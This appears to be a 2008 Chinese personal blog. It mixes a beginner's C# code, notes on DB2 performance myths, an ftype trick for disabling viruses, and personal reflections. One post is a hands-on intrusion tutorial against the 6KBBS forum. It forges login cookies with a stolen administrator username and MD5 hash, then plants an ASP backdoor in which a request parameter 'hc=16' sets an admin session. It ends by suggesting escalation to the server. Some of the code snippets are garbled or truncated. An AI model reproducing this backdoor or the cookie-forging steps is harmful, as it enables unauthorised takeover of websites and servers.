好长时间没有静静了,现在总算要静静,好好学下编程,谁让这也是我的一个爱好了,学习了C#也写了第一个hello word!,好像任何一种语言都是从hello word讲起,只要你会写hello word也就意味着你的程序生涯开始,关键是最后你能不能继续下去
[code]
using System;
class hello
{
static void Main()
{
System.Console.WriteLine("hello word!");
}
}
[/code]
第二个程序偶开始学数组
这个程序完全是按教程来写,调试了三次才成功,太多的东西第一用都没能弄明白是怎么回事,偶会一直坚持下去,偶也要编出偶自己的程序
[code]
using System;
class Test
{
static void PrintArr(int ArrLength)
{
int[] arr=new int[ArrLength];
for(int i=0;i0)
{
Console.WriteLine("please enter the array's length:");
i=Int32.Parse(Console.ReadLine());
PrintArr(i);
}
}
}
[/code]
总算完成了自己的第一个数组,程序也理解了一部分,加油

六月 26th, 2008

Posted In: 未分类

1、逻辑设计应该总是能和物理设计完全映射

  实际:DB2数据库设计中物理设计应该尽可能的和逻辑结构相近,但是为性能做出的物理设计改变不能被忽略,因为它们并不来自于逻辑设计。

  2、将所有东西放在一个缓冲池(BP0)中让DB2管理

  实际:就像在DB2手册和其他地方说明的一样,你只能在你的内存非常受限的情况下(10000 4k pages或者更少),你没有时间去管理它,你也没有考虑到性能的条件下,去这样做。最好这样说:不要放置除了DB2 catalog和目录以外的东西进入BP0。

  3、DSNDB07是100%顺序的

  实际:DSNDB07从来就不是100%顺序的,因为有工作文件中的对页面进行的随机活动。随即活动可能高达45%,但是通常范围是3%到10%。

  4、VARCHAR应该总是被放置在行末

  实际:这就是总是引发问题的话。如果表总是被读,并且非常少的更新,那么可以,这将会减少CPU负载,但是在其它情况下这样做就是最坏的,甚至如果表是被压缩的。只有在频繁更新的情况下它应该被放置在末尾,但是并不通常这样。

  5、程序应该以遵循逻辑过程的方式编码

  实际:伪代码或者一个逻辑过程图并不需要考虑性能相关的编码方式。在OLTP交易代码中这非常具有戏剧性。

  6、大多数过程不在SQL中进行

  实际:事实上,问题的反面往往是正确的。SQL是一个非常丰富的语言,能够处理大多数过程。实际上最大的困难是SQL经常被用来作为I/O处理器而不是一个集合处理器。

  7、代码和引用表应该和DB2声明的referential integrity(RI)一起使用

  实际:RI不应该作为一个编辑有效性的快捷方式而使用,这通常属于别的什么,但是应该在真父子关系中使用。

  8、表至多有一到两个索引

  实际:表应该按照性能需求拥有多个索引。

  9、非分割索引(NPI)不应该被使用,尤其是不应该在大的表中使用

  实际:这关系到数不清的问题,总体上这些都能被克服,但是NPI是对适当的访问和性能非常必要的。

  10、大表应该被分割

  实际:因为一个表中有太多数据就意味着有性能下降,这是一个遗留的担心。当一些表中有超过60亿行数据时,这个理解已经被消除了。

11、DB2缺省就是好的

  实际:缺省的一般不是最好的,他们因版本不同而改变。比如考虑绑定参数CURRENTDATA。

  12、不要在SQL Where谓词里使用否定

  实际:另外一个这种规则并没有被解释清楚。只有谓词是一个否定时,SQL访问路径可能使用一个不必要的表空间扫描。但是在其它的多数情况下,多余的过滤应该在DB2引擎里完成,这会较好。

  13、我可以只依靠EXPLAIN来决定是否访问路径是好的

  实际:EXPLAIN不显示执行的查询块的顺序,不会告诉你1或者2阶段的谓词,不会告诉你一个块会多长时间执行一次。基本的,EXPLAIN只是导出一些数据到一个表里,然后结合其他一些信息来进行更多的一些解释。有一些工具来帮助处理此过程(如Visual Explain),但是如果所有的事实都没有被考虑的话,这样的方式只会带来坏处。

  14、不要做EDM池太大以避免其分页

  实际:EDM池通常通过分页来提升性能(这里分页是指扩展存储,而不是磁盘)而不是变得更小并且因为页面置换和其他因素持续重建内部结构。

  15、扩展不会关系其他任何东西

  实际:什么时候开始的?未来如果世界上充满了SAN或者ESS,那差不多。扩展的影响已经因为新的磁盘缓存控制器而变得很小了,但是仍然有一些额外的检查和处理需要来管理它们。

  16、关系的划分不会在DB2中使用

  实际:关系的划分已经在过去的许多系统中被使用了,可以有效的通过数据库设计者和程序开发者来实现。在目前的商业智能(BI)和市场系统中,它可以被数次用在每个单个程序中。

  17、将所有的包绑定到两个计划中:一个批处理和一个在线的

  实际:在介绍DB2包的时候,这是一个不好的陈述。有许多理由可以说这个理解是错误的。

  18、未授权的读是不好的

  实际:未授权的读并不是一个四字单词但是是一个非常好的性能增强,可以被用在比经常理解的更多的地方。

  19、在没有超时和死锁的情况下不会有锁问题

  实际:事实上没有一个问题发生并不意味着没有需要关注的的性能问题。经常锁定不被认为是一个问题,因为注意力主要放在反应的调节测量(统计死锁或者超时的数量),而不是后发式的调节(监控锁等待时间)。

  20、ESA数据压缩总是好的

  实际:当压缩能被在很多地方起作用时,有一些情况它能带来问题。每种情况都要在压缩使用前决定是否使用它。这不是可选的,而是必须要在高层决定是否使用还是不使用。

六月 24th, 2008

Posted In: 未分类

第一步:在“开始→运行”中输入CMD,打开“命令提示符”窗口。

  第二步:输入ftype exefile=notepad.exe %1,这句话的意思是将所有的EXE文件用“记事本”打开。这样原来的病毒就无法启动了。

  第三步:重启电脑,你会看见打开了许多“记事本”。当然,这其中不仅有病毒文件,还有一些原来的系统文件,比如:输入法程序。

  第四步:右击任何文件,选择“打开方式”,然后点击“浏览”,转到WindowsSystem32下,选择cmd.exe,这样就可以再次打开“命令提示符”窗口。

  第五步:运行ftype exefile=%1 %*,将所有的EXE文件关联还原。现在运行杀毒软件或直接改回注册表,就可以杀掉病毒了。

  第六步:在每一个“记事本”中,点击菜单中的“文件→另存为”,就可看到了路径以及文件名了。找到病毒文件,手动删除即可,但得小心,必须确定那是病毒才能删除。建议将这些文件改名并记下,重启后,如果没有病毒作怪,也没有系统问题,再进行删除,

  ◆最后介绍一下Ftype的用法

  在Windows中,Ftype命令用来显示及修改不同扩展名文件所关联的打开程序。相当于在注册表编辑器中修改“HKEY_CLASSES_ROOT”项下的部分内容一样。

  Ftype的基本使用格式为:Ftype [文件类型[=[打开方式/程序]]]

  比如:像上例中的ftype exefile=notepad.exe %1,表示将所有文件类型为EXE(exefile表示为EXE类型文件)的文件都通过“记事本”程序打开,后面的%1表示要打开的程序本身(就是双击时的那个程序)。

  ftype exefile=%1 %*则表示所有EXE文件本身直接运行(EXE 可以直接运行,所以用表示程序本身的%1即可),后面的%*则表示程序命令后带的所有参数(这就是为什么EXE文件可以带参数运行的原因)。

六月 23rd, 2008

Posted In: 未分类

下班,从坐上公交车的那一刻就想睡觉,可人太多,坐着都不舒服,只是要做太长时间的车,无耐,谁让大学毕业等于失业了,找的一份工作还得去珍惜,说不准啥时丢了又成了失业一族,每月月底看着工资卡上的钱数变成0.00的时候,知道我也成了一个月光族,以前只是听别人说月光族,自己还想怎么也会留点钱,可结果,我却一分没有留下,约同学出来一块吃饭,喝几杯扎啤,感觉真的好舒服,或许正是因为自己是做技术的,谈起技术我能头头是道,可一到做别的事情,好像就不是那么顺心,有时一人在家躺在床上,听着歌,好像每一首歌都不是自己想听的,有时候听着古典的音乐,静静的躺在床上,回想着以前美好的时刻,才发现,一直以为现在自己过的很好,原来现在过的才是最累的,屋里面感觉很决闷,我知道今晚可能又睡不着觉了,然后在拿起电脑躺在床上开始在网络中东走西走,没有一点目标,查查CCIE,考试费用一万三千多,加上培训费用,我不知道还要花多少钱,虽然我很想去学,可是那不是几千块钱,而是几万块钱,对于一个刚毕业的学生来讲,我知道这意味着什么,发现被生活压的有点吐不过气来,有时也真想找一个女朋友,两个人在一起,那该有多好,可我知道,我需要的是一份什么样的爱情,或许我知道我应该找一个什么样的女孩做我女朋友,希望下一个出现的就是她…….

六月 19th, 2008

Posted In: 未分类

cookies欺骗,就是在只对用户做cookies验证的系统中,通过修改cookies的内容来得到相应的用户权限登录。
那么什么是cookies呢,我这里给大家一个专业的解释,cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4kb硬盘空间。当用户正在浏览某站点时,它储存于用户机的随机存取存储器ram中,退出浏览器后,它储存于用户的硬盘中。储存在cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多web站点使用cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。

什么是Session?当一个访问者来到你的网站的时候一个Session就开始了,当他离开的时候Session就结束了。本质是来说,cookie是和浏览器有关系,而Session变量就可以存一些资源变量在服务器上面。

我们先里看个实例,在6KBBS的login.asp找到113—124行,得到以下代码:
[code]
if
[url=javascript:]Copy code[/url]
login=false then tl=" 登 陆 失 败" mes=mes&"
·返回重新填写" else response.cookies(prefix)("lgname")
=lgname session(prefix"lgname")=
lgname response.cookies(prefix)("lgpwd")=
lgpwd response.cookies(prefix)("lgtype")=
lgtype response.cookies(prefix)("lgcook")=
cook if cook>0 then response.cookies(prefix).expires=
date+cook end if
[/code]

我们来分析下,如果你登录失败了他就显示你登录失败并引导你返回上一页,否则就给你写进cookies里面,如果你的cookies有的话那么你的过期时间就是你cookies的过期时间——也就是你保存cookies的时间了。

这时,我们想到的是如果里面的信息是admin的,那一不就成了以管理员登陆了吗?

首先,我们先去注册一个用户,然后登录,有个cookies保存的选项,一定要选哦。我选择是保存一个月,因为保存了才会再你本机上写进它的cookies。接着,打开数据库,看admin表里面有什么东西,别的不管,你只要那个bd为16的那个人就行了。有可能没有,你可以到他们论坛去逛一下,看管理员是谁,然后在数据库里面拿他的账号和加密的密码来欺骗。

打开iecookiesview,这款软件是拿来察看和修改本机的cookies的,很方便我们的cookies欺骗入侵。

在iecookiesview 里找到你要欺骗的那个网站,看到了吗?有你的用户名和md5加密的密码,我们吧这两项改为管理员的,就是把刚才数据库里面的管理员账号和md5加密的密码代替你自己的。点击“更改cookies”,打开一个新的ie,然后再去访问那个论坛,看到没有?你现在已经是管理员了。

接着,麻烦的事出现了,后台登陆并不是以cookies来实现的,而是以session实现的 ,所以我们同样来欺骗session;

首先简单说一下一般asp系统的身份验证原理。 一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面。

找到manage/admin.asp,发现验证内容为:[code]

[url=javascript:]Copy code[/url]

else
 rs("LastLoginIP")=Request.ServerVariables("REMOTE_ADDR")
 rs("LastLoginTime")=now()
 rs("LoginTimes")=rs("LoginTimes")+1
 rs.update
 session.Timeout=SessionTimeout
 session("AdminName")=rs("username")
 rs.close
 set rs=nothing
 call CloseConn()

Response.Redirect "Admin_Index.asp" 很容易就知道如果没有获得验证就会出现两个session值:

[url=javascript:]Copy code[/url]
session.Timeout=SessionTimeout

session("AdminName")=rs("username")
试想如果我们以adminName的信息登陆就就ok了..接着用ASP木马编辑器来添加代码如下:

[url=javascript:]Copy code[/url]
dim id
id=trim(request("hc"))
if id="16" then
 session("AdminName")="admin"
end if

[/code]
分析上段代码,有个不定值–admin,可以根据实际情况来设置,不一定是admin;可以在一些不常去的页面来登陆,如:FriendSite.asp?hc=16返回时页面没有出现异样,这就行了,然后再次登陆manage/admin.asp,你会发现,你已经进入后台了。然后可以提权得弄服务器了。

六月 18th, 2008

Posted In: 未分类

原来怨恨比爱情来的更简单,很多时候只是认为感情走到了尽头,却不知是因为自己抓的太坚,爱情就像是放风筝,线太紧会断,太松会落,也有一种是感情来的太突然,一下子好的让人无所适从,或是一下子自己迷失了方向,但怨恨永远比爱情来的简单,冲昏了自己的理知,会一下子认为自己走到了感情的低谷,却不知道爬起来,太多的怨恨让我们无所适从,或是根本都不可能去接受另一个女孩或是男孩,但感情太过于现实,会让你很累很累,太过于容易你会不太在意,人生永远都在十字路口,或许你向前向后向左向右,但这都是你的选择,爱情也一样,一但选择,可能会在下一个十字路口因为个走的太快一个走的太慢,而在红绿灯前走失,期实,"爱情"永远比怨恨更简单………….

六月 17th, 2008

Posted In: 未分类

有一种爱只有在生活当中才能感悟,鞋子合不合适只有穿了才能知道,打个比方,有些人喜欢穿漂亮的鞋子,即使鞋子很累脚,也能够忍受它带来的痛苦,有些人就不一样太痛脚就会在换一双即使换掉的那一双很漂亮,而找伴侣就像是买鞋子,大老远去买成本很高,更主要的是鞋子不一定很舒适。人的一生中,有的人会穿几双甚至几十双,而有的人一生只有一双,或者一辈子都光着脚丫,有的人很爱惜脚上的鞋,保养的很好,有的人一开始很爱惜可是没能坚持到最后,在换一双时会感觉到没有之前的好,可是被换掉的那一双早已被丢掉了垃圾桶,或是被被人捡到,总之在也找不回来,有的人一开始没有鞋子穿,他也不会谁便找一双,而是不断的提高自己,积累财富知道遇到最好的。有的人会在不经意中丢失了鞋子或鞋子提前报废不得不在换一双,有的人一生都找不到合适自己的鞋子

六月 5th, 2008

Posted In: 未分类

无觅相关文章插件,快速提升流量